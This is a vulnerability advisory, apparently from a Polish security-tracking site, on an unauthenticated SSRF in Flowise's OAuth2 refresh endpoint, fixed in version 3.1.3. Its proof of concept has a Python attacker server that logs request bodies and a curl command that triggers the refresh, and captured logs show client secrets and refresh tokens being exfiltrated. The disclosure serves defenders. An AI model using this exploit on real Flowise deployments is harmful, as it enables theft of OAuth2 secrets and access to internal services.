Wysoka

Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration

  • Ujawniono: 04.08.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.

Details

The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.

Confirmed in runtime code:

  1. Unauthenticated route via whitelist

    • dist/utils/constants.js includes:
      • /api/v1/oauth2-credential/callback
      • /api/v1/oauth2-credential/refresh
    • dist/index.js auth middleware uses:
      • const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
    • Therefore /api/v1/oauth2-credential/refresh/:credentialId is treated as whitelisted.
  2. User-controlled SSRF target

    • In refresh handler (dist/routes/oauth2/index.js):
      • loads credential by credentialId
      • decrypts credential data
      • reads accessTokenUrl
      • executes:
        • axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)
    • No secureAxiosRequest() / denylist wrapper is used in this path.
  3. Non-blind response reflection

    • Response returns:
      • tokenInfo: { ...tokenData, ... }
    • tokenData is the attacker/internal server response body.
  4. Secrets sent to SSRF target

    • Request body includes:
      • client_id
      • client_secret
      • grant_type=refresh_token
      • refresh_token

PoC

Environment used

  • flowiseai/flowise:latest container (localhost:3000)
  • Attacker server (localhost:18081) returning JSON

Step 1: Start attacker server

bash
python3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class H(BaseHTTPRequestHandler):
    def do_POST(self):
        l = int(self.headers.get('Content-Length','0'))
        b = self.rfile.read(l).decode('utf-8', errors='replace')
        print('REQUEST_PATH', self.path, flush=True)
        print('REQUEST_BODY', b, flush=True)
        self.send_response(200)
        self.send_header('Content-Type','application/json')
        self.end_headers()
        self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())
    def log_message(self, fmt, *args):
        pass

HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PY

Step 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action)

In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.

Resulting credential ID used in runtime validation:

  • 24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef

Step 3: Trigger refresh without auth

bash
curl -i -X POST \
  http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
  -H 'Content-Type: application/json' \
  -d '{}'

Observed response:

js
{
  "success": true,
  "message": "OAuth2 token refreshed successfully",
  "credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef",
  "tokenInfo": {
    "ok": true,
    "source": "attacker-server",
    "echo_len": 76,
    "has_new_refresh_token": false
  }
}

Attacker server logs captured:

REQUEST_PATH /token
REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2

This confirms:

  • unauthenticated trigger,
  • server-side POST to attacker-controlled URL,
  • exfiltration of OAuth2 secrets in POST body,
  • full response reflection to client (tokenInfo).

Impact

  • Vulnerability class: Non-blind SSRF + sensitive secret exfiltration.
  • Who can set up attack: Any authenticated user who can create/update OAuth2 credentials.
  • Who can trigger attack: Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).
  • Technical impact:
    • outbound SSRF to attacker/internal targets,
    • direct leak of client_secret and refresh_token to SSRF target,
    • direct response read from target via API response (tokenInfo).
  • Deployment impact:
    • cloud/internal network reachability can expose metadata/internal services depending on egress controls.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm flowise < 3.1.3 3.1.3

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Słabość (CWE)
CWE-639
Platforma
npm
Paczka
flowise
Ujawniono
04.08.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-r745-8hwv-h473 - CC BY 4.0

Historia podatności: flowise

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (114) w archiwum
Wszystkich wpisów
114
Pierwsza → ostatnia
04.2024 10.2026
Bez poprawki
16
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 28
  • Wysoka 62
  • Średnia 24

Ujawnienia w latach

  1. 2024: 11
  2. 2025: 22
  3. 2026: 81
Istotność:
  1. Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration ten wpis
    Wysoka CVE-2026-69250 < 3.1.3 3.1.3
  2. Wysoka CVE-2026-70474 < 3.1.3 3.1.3
  3. Krytyczna CVE-2026-69259 < 3.1.3 3.1.3
  4. Krytyczna CVE-2026-69256 < 3.1.3 3.1.3
Pokaż więcej (20) Widać 21 z 90

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.